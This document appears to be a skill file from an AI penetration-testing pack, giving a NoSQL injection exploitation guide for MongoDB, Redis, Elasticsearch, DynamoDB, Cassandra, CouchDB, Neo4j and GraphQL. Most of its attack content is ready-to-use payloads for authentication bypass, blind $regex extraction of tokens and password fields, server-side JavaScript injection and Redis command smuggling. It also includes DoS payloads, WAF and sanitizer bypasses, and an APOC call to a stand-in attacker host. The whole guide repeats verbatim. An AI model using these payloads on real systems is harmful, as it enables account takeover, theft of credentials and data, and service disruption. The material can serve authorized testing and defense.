| name | nosql-injection-testing |
| description | NoSQL injection testing covering MongoDB operator injection, authentication bypass, blind extraction, GraphQL variable injection, and Redis/DynamoDB/Elasticsearch/Neo4j-specific attack surfaces |
Nosql Injection Testing
penkit51 AI — professional penetration testing skill pack. Authorized testing only.
Deep Exploitation Guide
NoSQL Injection
NoSQL injection exploits the mismatch between how applications pass user input to database queries and how the database engine interprets that input. Unlike SQL injection, NoSQL injection frequently involves operator injection (e.g., MongoDB's $gt, $regex, $where) or structure injection (embedding JSON sub-documents). The attack surface is broad: MongoDB is the dominant target, but Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, and Neo4j each have distinct injection surfaces. GraphQL resolvers passing variables directly into a backing NoSQL filter are a frequent cross-cutting vector.
Attack Surface
Input shapes that reach query filters
- JSON body parameters parsed straight into query objects
- Form fields with bracket notation (
field[$ne]=) coerced into operator objects by Express, PHP, and similar middleware
- URL-encoded JSON in query strings, headers, and cookies
- GraphQL variables passed directly into resolver-level NoSQL filters
Code patterns that enable injection
- Raw filter dicts/objects from user input handed to
find/findOne/aggregate
- String concatenation into Cypher / CQL / Redis commands instead of the driver's parameterized form
- ODM passthrough: Mongoose
{strict: false}, Morphia raw where(), PyMongo find() with unsanitized JSON dicts (legacy eval() is fatal)
- Server-side JavaScript surfaces:
$where, $function, $accumulator, CouchDB _design views
Stores in scope
MongoDB (primary), Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, Neo4j. Couchbase / DocumentDB / HBase / ScyllaDB / Memcached follow the same operator-injection or command-smuggling models — DocumentDB in particular accepts MongoDB payloads unchanged.
High-Value Targets
- Login and authentication endpoints (username/password fields)
- Search and filter APIs (catalog, user search, admin lookup)
- Password reset and token lookup flows
- Admin queries filtering by role, plan, or privilege fields
- Endpoints accepting raw JSON objects as query parameters
Reconnaissance
Content-Type and Input Shape
- Identify endpoints accepting
application/json — these can receive operator objects directly
- Identify endpoints accepting
application/x-www-form-urlencoded — bracket notation username[$ne]=x maps to {username: {$ne: 'x'}} in many frameworks (Express body-parser, PHP)
- Determine whether the backend uses Mongoose, native MongoDB driver, or a REST ODM wrapper
Error Fingerprinting
- Send malformed JSON:
{"username": {"$gt": ""}}
- Send bracket notation in form data:
username[$gt]=
- Look for MongoDB error messages:
MongoError, CastError, ValidationError
- Stack traces revealing collection names, field names, driver version
Operator Probe
Test whether operators pass through to the database:
{"username": {"$gt": ""}, "password": {"$gt": ""}}
If authentication succeeds or response differs, operator injection is confirmed.
Key Vulnerabilities
MongoDB Authentication Bypass
The classic operator injection against login queries of the form db.users.findOne({username: input.username, password: input.password}):
JSON body injection:
{"username": {"$ne": null}, "password": {"$ne": null}}
Matches the first document where both fields are non-null — typically the first user/admin.
Form body (bracket notation):
username[$ne]=invalid&password[$ne]=invalid
Variations:
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$gt": ""}}
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}
Blind Data Extraction via $regex
When the query result is not directly reflected but observable (boolean response, redirect, timing), extract field values character by character using $regex:
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^b"}}
...
Binary search the character space to minimize requests. Works on any string field (token, reset code, API key).
$where JavaScript Injection
If $where operator is enabled (disabled by default in MongoDB 7.0+; MongoDB 4.4–6.x deprecated it but left javascriptEnabled defaulting to true), inject arbitrary server-side JavaScript:
{"$where": "function(){return this.role == 'admin'}"}
{"$where": "function(){return this.username == 'admin' && sleep(2000)}"}
sleep() is available in older MongoDB for blind extraction via response-time differential.
$function and $accumulator (MongoDB 4.4+)
Server-side JavaScript in aggregations. $function must live inside an expression context — $expr, $project, $addFields, etc. — not as a top-level filter:
{"$expr": {"$function": {"body": "function(doc){return doc.role == 'admin'}", "args": ["$$ROOT"], "lang": "js"}}}
Gated by the same javascriptEnabled parameter as $where, but reachable through aggregation endpoints — useful when $where is filtered at the query layer but aggregation pipelines remain user-influenceable.
Aggregation Pipeline Injection
$match, $lookup, and $project stages accept the same operator payloads as find(). User-controlled $lookup.from is the highest-impact variant — it can pivot the query to a different collection (e.g., from orders into users) and exfiltrate cross-tenant data.
Redis Command Injection
When Redis commands are constructed by string concatenation:
redis.execute_command(f"SET {user_key} {value}")
Inject newline characters (\r\n) to inject additional Redis commands (RESP protocol injection):
key\r\nSET backdoor attacker_controlled\r\nSET dummy
Elasticsearch Query String Injection
query_string and simple_query_string accept Lucene syntax. User input flowing directly:
q=normal+search → normal results
q=* → all documents
q=role:admin → filter by field
q=_exists_:password_hash → existence probe
For Painless script injection via _update:
{"script": {"source": "ctx._source.role = params.r", "params": {"r": "admin"}}}
If the source field is user-controlled, inject arbitrary Painless.
DynamoDB FilterExpression Injection
PartiQL injection allows expansion of intended queries:
SELECT * FROM Users WHERE username = 'input'
SELECT * FROM Users WHERE username = 'x' OR '1'='1
Cassandra CQL Injection
CQL is SQL-shaped, so injection follows the SQL pattern when input is concatenated instead of bound via session.prepare():
username: ' OR '1'='1' ALLOW FILTERING --
username: 'x' OR token(username) > token('a') ALLOW FILTERING --
No SLEEP or OOB primitive natively — detection is boolean/error-based only.
CouchDB Mango and View Injection
Mango selectors on _find accept operator payloads in the same shape as MongoDB:
POST /db/_find { "selector": {"username": "admin", "password": {"$gt": ""}} }
POST /db/_find { "selector": {"role": {"$regex": "^admin"}} }
_design document injection — if user input flows into a design doc's views.<name>.map, the JavaScript runs server-side in the Couch sandbox on every view query:
{"views": {"x": {"map": "function(doc){ emit(doc._id, doc) }"}}}
Also probe _all_docs?include_docs=true for unscoped enumeration and check for admin-party misconfigurations (_users/_all_docs reachable without auth) before payload work.
Neo4j Cypher Injection
When user input is concatenated into Cypher rather than passed as a parameter ($param):
session.run(f"MATCH (u:User {{name: '{name}'}}) RETURN u")
APOC abuse (when apoc.* procedures are enabled via dbms.security.procedures.unrestricted):
CALL apoc.load.json('http://attacker/x') — SSRF and external data fetchCALL apoc.cypher.run("...", {}) — dynamic query execution from a stringCALL dbms.security.listUsers() — user enumeration on misconfigured Community Edition
GraphQL Variable Injection
Resolvers passing variables straight into a backing NoSQL filter are a common chained vector:
query Login($input: UserFilter!) {
user(filter: $input) { id role }
}
With $input reaching db.users.findOne(input), send:
{"input": {"username": "admin", "password": {"$ne": ""}}}
Use introspection (__schema, __type) to enumerate which input types accept arbitrary objects — those are the operator-injection candidates.
Server-Side JavaScript Detection and DoS
Fingerprint SSJS state before investing in $where / $function payloads:
db.adminCommand({getParameter: 1, javascriptEnabled: 1})
DoS surface (use only with explicit authorization scope):
- ReDoS:
{"field": {"$regex": "^(a+)+$"}} against long values triggers catastrophic backtracking
- Large
$in arrays: thousands of values force linear scans on unindexed fields
- Infinite
$where loops: {"$where": "while(true){}"} if SSJS is enabled without query timeouts
- Heavy aggregations: chained
$lookup across large unindexed collections
Bypass Techniques
Type Coercion
- Send operators as arrays:
{"$gt": [""]} — some drivers coerce arrays
- Mix string and object types in the same request to trigger parser branches
Encoding
- URL-encode brackets:
username%5B%24ne%5D=x → username[$ne]=x
- Double-encode for WAFs sitting in front of JSON-parsing backends
Operator Alternatives
$nin (not in), $exists: false, $type — alternative operators that reach the same result when $ne is filtered$not wrapping another operator: {"field": {"$not": {"$eq": "value"}}}$expr with $ne for complex comparisons: {"$expr": {"$ne": ["$password", "wrong"]}}
Structure Manipulation
- Dotted-key vs nested object:
{"a.b": "c"} vs {"a": {"b": "c"}} — sanitizers often strip one form but pass the other
- Array vs object operator wrapping: some parsers treat
["$or", ...] as operator arrays
- Prototype pollution:
__proto__ and constructor.prototype keys in JSON bodies polluting Object prototypes consumed downstream by query builders
$regex case-insensitive flag ("$options": "i") widens matches that case-sensitive filters miss
Testing Methodology
- Identify query-receiving endpoints — login, search, filter, lookup
- Determine input format — JSON body vs form fields vs URL params
- Send error-probing payloads — malformed operator objects; watch for MongoDB/driver errors
- Attempt operator injection —
$ne, $gt, $regex against login endpoint
- Confirm boolean oracle — response, status, redirect differs between true/false predicates
- Extract data blindly — character-by-character
$regex on sensitive fields (token, reset code)
- Test
$where — if older MongoDB version detected, attempt JavaScript sleep-based timing
- Probe aggregation endpoints — inject operators into
filter/match/sort fields
- Test non-MongoDB stores — Elasticsearch
query_string, Redis command construction, DynamoDB PartiQL, CouchDB Mango selectors, Neo4j Cypher concatenation, Cassandra CQL
- Test GraphQL resolvers — submit operator objects via variables on any input type that reaches a NoSQL filter; use
__schema introspection to enumerate candidates
Validation
- Demonstrate authentication bypass: send operator payload, confirm login succeeds for any/first account
- Extract a verifiable secret (password hash, reset token, API key) via
$regex blind extraction
- Show at least two distinct operator payloads working to rule out coincidence
- Provide before/after: normal request returns 401, injected request returns 200
- For
$where: show timing differential with/without sleep()
False Positives
- Framework-level query builder that casts input to string before constructing the query (Mongoose
strict mode on)
- Input sanitization stripping operator keys before they reach the driver
- Endpoints that accept JSON but cast the
password field to string — operator object becomes [object Object]
- Response differences caused by validation errors, not actual operator execution
Impact
- Authentication bypass granting access to arbitrary or all accounts
- Full extraction of sensitive fields (tokens, hashed passwords, PII) via blind regex enumeration
- Privilege escalation by querying admin/superuser records directly
- Data exfiltration at scale via widened
$ne/$regex/$gt filters
- Server-side JavaScript execution via
$where on unpatched MongoDB instances
Pro Tips
- Always try both JSON body (
{"field": {"$ne": null}}) and bracket-notation form (field[$ne]=) — different middleware handles them differently
- Target reset token and API key fields with
$regex extraction, not just passwords
- Check MongoDB version via error messages or
/admin/serverStatus; $where is active by default on pre-7.0 instances — that includes 4.4–6.x targets where javascriptEnabled was deprecated but not yet disabled, making them still exploitable unless explicitly hardened
- For Elasticsearch, try
_cat/indices, _mapping, and _search with query_string: * before attempting script injection
- Combine authentication bypass with a second request to
/admin or /api/users to escalate impact
- Automate
$regex extraction with binary search: 7 requests per character vs 94 with linear search
- GraphQL resolvers are an underexplored entry point — try operator objects in any input type that reaches a NoSQL filter, and use introspection to find candidate fields
Summary
NoSQL injection exploits the same root cause as SQL injection — user input controlling query structure — but through operator embedding rather than syntax breaking. MongoDB is the primary target; enforce schema validation, use parameterized equivalents (strict mode, typed schemas), and never pass raw user input as a query object.
Platform Methodology
Nosql Injection Testing
penkit51 AI — professional penetration testing skill pack. Authorized testing only.
Deep Exploitation Guide
NoSQL Injection
NoSQL injection exploits the mismatch between how applications pass user input to database queries and how the database engine interprets that input. Unlike SQL injection, NoSQL injection frequently involves operator injection (e.g., MongoDB's $gt, $regex, $where) or structure injection (embedding JSON sub-documents). The attack surface is broad: MongoDB is the dominant target, but Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, and Neo4j each have distinct injection surfaces. GraphQL resolvers passing variables directly into a backing NoSQL filter are a frequent cross-cutting vector.
Attack Surface
Input shapes that reach query filters
- JSON body parameters parsed straight into query objects
- Form fields with bracket notation (
field[$ne]=) coerced into operator objects by Express, PHP, and similar middleware
- URL-encoded JSON in query strings, headers, and cookies
- GraphQL variables passed directly into resolver-level NoSQL filters
Code patterns that enable injection
- Raw filter dicts/objects from user input handed to
find/findOne/aggregate
- String concatenation into Cypher / CQL / Redis commands instead of the driver's parameterized form
- ODM passthrough: Mongoose
{strict: false}, Morphia raw where(), PyMongo find() with unsanitized JSON dicts (legacy eval() is fatal)
- Server-side JavaScript surfaces:
$where, $function, $accumulator, CouchDB _design views
Stores in scope
MongoDB (primary), Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, Neo4j. Couchbase / DocumentDB / HBase / ScyllaDB / Memcached follow the same operator-injection or command-smuggling models — DocumentDB in particular accepts MongoDB payloads unchanged.
High-Value Targets
- Login and authentication endpoints (username/password fields)
- Search and filter APIs (catalog, user search, admin lookup)
- Password reset and token lookup flows
- Admin queries filtering by role, plan, or privilege fields
- Endpoints accepting raw JSON objects as query parameters
Reconnaissance
Content-Type and Input Shape
- Identify endpoints accepting
application/json — these can receive operator objects directly
- Identify endpoints accepting
application/x-www-form-urlencoded — bracket notation username[$ne]=x maps to {username: {$ne: 'x'}} in many frameworks (Express body-parser, PHP)
- Determine whether the backend uses Mongoose, native MongoDB driver, or a REST ODM wrapper
Error Fingerprinting
- Send malformed JSON:
{"username": {"$gt": ""}}
- Send bracket notation in form data:
username[$gt]=
- Look for MongoDB error messages:
MongoError, CastError, ValidationError
- Stack traces revealing collection names, field names, driver version
Operator Probe
Test whether operators pass through to the database:
{"username": {"$gt": ""}, "password": {"$gt": ""}}
If authentication succeeds or response differs, operator injection is confirmed.
Key Vulnerabilities
MongoDB Authentication Bypass
The classic operator injection against login queries of the form db.users.findOne({username: input.username, password: input.password}):
JSON body injection:
{"username": {"$ne": null}, "password": {"$ne": null}}
Matches the first document where both fields are non-null — typically the first user/admin.
Form body (bracket notation):
username[$ne]=invalid&password[$ne]=invalid
Variations:
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$gt": ""}}
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}
Blind Data Extraction via $regex
When the query result is not directly reflected but observable (boolean response, redirect, timing), extract field values character by character using $regex:
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^b"}}
...
Binary search the character space to minimize requests. Works on any string field (token, reset code, API key).
$where JavaScript Injection
If $where operator is enabled (disabled by default in MongoDB 7.0+; MongoDB 4.4–6.x deprecated it but left javascriptEnabled defaulting to true), inject arbitrary server-side JavaScript:
{"$where": "function(){return this.role == 'admin'}"}
{"$where": "function(){return this.username == 'admin' && sleep(2000)}"}
sleep() is available in older MongoDB for blind extraction via response-time differential.
$function and $accumulator (MongoDB 4.4+)
Server-side JavaScript in aggregations. $function must live inside an expression context — $expr, $project, $addFields, etc. — not as a top-level filter:
{"$expr": {"$function": {"body": "function(doc){return doc.role == 'admin'}", "args": ["$$ROOT"], "lang": "js"}}}
Gated by the same javascriptEnabled parameter as $where, but reachable through aggregation endpoints — useful when $where is filtered at the query layer but aggregation pipelines remain user-influenceable.
Aggregation Pipeline Injection
$match, $lookup, and $project stages accept the same operator payloads as find(). User-controlled $lookup.from is the highest-impact variant — it can pivot the query to a different collection (e.g., from orders into users) and exfiltrate cross-tenant data.
Redis Command Injection
When Redis commands are constructed by string concatenation:
redis.execute_command(f"SET {user_key} {value}")
Inject newline characters (\r\n) to inject additional Redis commands (RESP protocol injection):
key\r\nSET backdoor attacker_controlled\r\nSET dummy
Elasticsearch Query String Injection
query_string and simple_query_string accept Lucene syntax. User input flowing directly:
q=normal+search → normal results
q=* → all documents
q=role:admin → filter by field
q=_exists_:password_hash → existence probe
For Painless script injection via _update:
{"script": {"source": "ctx._source.role = params.r", "params": {"r": "admin"}}}
If the source field is user-controlled, inject arbitrary Painless.
DynamoDB FilterExpression Injection
PartiQL injection allows expansion of intended queries:
SELECT * FROM Users WHERE username = 'input'
SELECT * FROM Users WHERE username = 'x' OR '1'='1
Cassandra CQL Injection
CQL is SQL-shaped, so injection follows the SQL pattern when input is concatenated instead of bound via session.prepare():
username: ' OR '1'='1' ALLOW FILTERING --
username: 'x' OR token(username) > token('a') ALLOW FILTERING --
No SLEEP or OOB primitive natively — detection is boolean/error-based only.
CouchDB Mango and View Injection
Mango selectors on _find accept operator payloads in the same shape as MongoDB:
POST /db/_find { "selector": {"username": "admin", "password": {"$gt": ""}} }
POST /db/_find { "selector": {"role": {"$regex": "^admin"}} }
_design document injection — if user input flows into a design doc's views.<name>.map, the JavaScript runs server-side in the Couch sandbox on every view query:
{"views": {"x": {"map": "function(doc){ emit(doc._id, doc) }"}}}
Also probe _all_docs?include_docs=true for unscoped enumeration and check for admin-party misconfigurations (_users/_all_docs reachable without auth) before payload work.
Neo4j Cypher Injection
When user input is concatenated into Cypher rather than passed as a parameter ($param):
session.run(f"MATCH (u:User {{name: '{name}'}}) RETURN u")
APOC abuse (when apoc.* procedures are enabled via dbms.security.procedures.unrestricted):
CALL apoc.load.json('http://attacker/x') — SSRF and external data fetchCALL apoc.cypher.run("...", {}) — dynamic query execution from a stringCALL dbms.security.listUsers() — user enumeration on misconfigured Community Edition
GraphQL Variable Injection
Resolvers passing variables straight into a backing NoSQL filter are a common chained vector:
query Login($input: UserFilter!) {
user(filter: $input) { id role }
}
With $input reaching db.users.findOne(input), send:
{"input": {"username": "admin", "password": {"$ne": ""}}}
Use introspection (__schema, __type) to enumerate which input types accept arbitrary objects — those are the operator-injection candidates.
Server-Side JavaScript Detection and DoS
Fingerprint SSJS state before investing in $where / $function payloads:
db.adminCommand({getParameter: 1, javascriptEnabled: 1})
DoS surface (use only with explicit authorization scope):
- ReDoS:
{"field": {"$regex": "^(a+)+$"}} against long values triggers catastrophic backtracking
- Large
$in arrays: thousands of values force linear scans on unindexed fields
- Infinite
$where loops: {"$where": "while(true){}"} if SSJS is enabled without query timeouts
- Heavy aggregations: chained
$lookup across large unindexed collections
Bypass Techniques
Type Coercion
- Send operators as arrays:
{"$gt": [""]} — some drivers coerce arrays
- Mix string and object types in the same request to trigger parser branches
Encoding
- URL-encode brackets:
username%5B%24ne%5D=x → username[$ne]=x
- Double-encode for WAFs sitting in front of JSON-parsing backends
Operator Alternatives
$nin (not in), $exists: false, $type — alternative operators that reach the same result when $ne is filtered$not wrapping another operator: {"field": {"$not": {"$eq": "value"}}}$expr with $ne for complex comparisons: {"$expr": {"$ne": ["$password", "wrong"]}}
Structure Manipulation
- Dotted-key vs nested object:
{"a.b": "c"} vs {"a": {"b": "c"}} — sanitizers often strip one form but pass the other
- Array vs object operator wrapping: some parsers treat
["$or", ...] as operator arrays
- Prototype pollution:
__proto__ and constructor.prototype keys in JSON bodies polluting Object prototypes consumed downstream by query builders
$regex case-insensitive flag ("$options": "i") widens matches that case-sensitive filters miss
Testing Methodology
- Identify query-receiving endpoints — login, search, filter, lookup
- Determine input format — JSON body vs form fields vs URL params
- Send error-probing payloads — malformed operator objects; watch for MongoDB/driver errors
- Attempt operator injection —
$ne, $gt, $regex against login endpoint
- Confirm boolean oracle — response, status, redirect differs between true/false predicates
- Extract data blindly — character-by-character
$regex on sensitive fields (token, reset code)
- Test
$where — if older MongoDB version detected, attempt JavaScript sleep-based timing
- Probe aggregation endpoints — inject operators into
filter/match/sort fields
- Test non-MongoDB stores — Elasticsearch
query_string, Redis command construction, DynamoDB PartiQL, CouchDB Mango selectors, Neo4j Cypher concatenation, Cassandra CQL
- Test GraphQL resolvers — submit operator objects via variables on any input type that reaches a NoSQL filter; use
__schema introspection to enumerate candidates
Validation
- Demonstrate authentication bypass: send operator payload, confirm login succeeds for any/first account
- Extract a verifiable secret (password hash, reset token, API key) via
$regex blind extraction
- Show at least two distinct operator payloads working to rule out coincidence
- Provide before/after: normal request returns 401, injected request returns 200
- For
$where: show timing differential with/without sleep()
False Positives
- Framework-level query builder that casts input to string before constructing the query (Mongoose
strict mode on)
- Input sanitization stripping operator keys before they reach the driver
- Endpoints that accept JSON but cast the
password field to string — operator object becomes [object Object]
- Response differences caused by validation errors, not actual operator execution
Impact
- Authentication bypass granting access to arbitrary or all accounts
- Full extraction of sensitive fields (tokens, hashed passwords, PII) via blind regex enumeration
- Privilege escalation by querying admin/superuser records directly
- Data exfiltration at scale via widened
$ne/$regex/$gt filters
- Server-side JavaScript execution via
$where on unpatched MongoDB instances
Pro Tips
- Always try both JSON body (
{"field": {"$ne": null}}) and bracket-notation form (field[$ne]=) — different middleware handles them differently
- Target reset token and API key fields with
$regex extraction, not just passwords
- Check MongoDB version via error messages or
/admin/serverStatus; $where is active by default on pre-7.0 instances — that includes 4.4–6.x targets where javascriptEnabled was deprecated but not yet disabled, making them still exploitable unless explicitly hardened
- For Elasticsearch, try
_cat/indices, _mapping, and _search with query_string: * before attempting script injection
- Combine authentication bypass with a second request to
/admin or /api/users to escalate impact
- Automate
$regex extraction with binary search: 7 requests per character vs 94 with linear search
- GraphQL resolvers are an underexplored entry point — try operator objects in any input type that reaches a NoSQL filter, and use introspection to find candidate fields
Summary
NoSQL injection exploits the same root cause as SQL injection — user input controlling query structure — but through operator embedding rather than syntax breaking. MongoDB is the primary target; enforce schema validation, use parameterized equivalents (strict mode, typed schemas), and never pass raw user input as a query object.
Validation & Reporting
- Confirm every finding with reproducible PoC before reporting
- Document: severity (CVSS), affected asset, steps, evidence, remediation
- Use
record_vulnerability when running inside the penkit51 platform
- Chain low-severity findings into higher-impact attack paths
- Never report without evidence — distinguish hypothesis from confirmed vuln
Validation & Reporting
- Confirm every finding with reproducible PoC before reporting
- Document: severity (CVSS), affected asset, steps, evidence, remediation
- Use
record_vulnerability when running inside the penkit51 platform
- Chain low-severity findings into higher-impact attack paths
- Never report without evidence — distinguish hypothesis from confirmed vuln
